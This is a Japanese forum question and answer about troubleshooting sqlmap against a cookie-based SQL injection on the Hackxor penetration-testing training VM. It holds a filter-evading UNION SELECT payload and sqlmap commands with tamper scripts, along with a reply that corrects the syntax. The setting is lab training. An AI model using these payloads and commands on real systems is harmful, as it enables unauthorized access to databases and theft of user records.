現在、私は Hackxor VM (ペンテストトレーニング環境)をいじっています。sqlmapを使用して、手動で悪用できる脆弱性を悪用しようとしています。
この脆弱性は、Cookieヘッダーの「userid」パラメータにあります。アプリケーションは、スペースをブロックするいくつかのSQLiフィルターといくつかのSQLキーワードを実装しているため、ペイロードを少し複雑にする必要があります。
上記の「userid」パラメータにHTTPプロキシを使用して次のペイロードを挿入する脆弱性をうまく利用できます。
71934/**/unUNIONion/**/seSELECTlect/**/*/**/from/**/users
次に、次のコマンドを使用して、sqlmapによるインジェクションを複製して、成功しないようにしました。
sqlmap -u "http://cloaknet:8080/proxypanel.jsp" --cookie="JSESSIONID=CA97BAFA78E01D237B86278E9DFE12C3; userid=71934" -p "userid" --level 5 --tamper "nonrecursivereplacement.py,space2comment.py" --sql-query="71934 UNION SELECT * from users"
Sqlmapが指定されたクエリを挿入onlyしてエクスプロイトに成功することを期待しましたが、sqlmapは多くのクエリを試行し、最後に 'userid'パラメータを返します脆弱ではありません。
何が悪いのですか?
このように機能する必要があります
sqlmap -u "http://cloaknet:8080/proxypanel.jsp" --cookie="JSESSIONID=CA97BAFA78E01D237B86278E9DFE12C3; userid=71934" --level 5 --risk 3 -p "userid" --tamper=nonrecursivereplacement,space2comment --sql-query="71934 UNION SELECT * from users"
私は実際に同様の問題に遭遇しました。私の構文は正しいのですが、どこに問題があるのかはまだわかりませんが、-rフラグを使用して、キャプチャされたHTTPヘッダーをパラメーターとしてsqlmapにフィードすることができました。私がこれを行うと、このsqlmapはフィールドを脆弱であると識別し(これはすでに知っていました)、当初考えていたとおりに動作しました。
SQLmap POSTパラメータ 'txtLoginID'は挿入できません
お役に立てれば!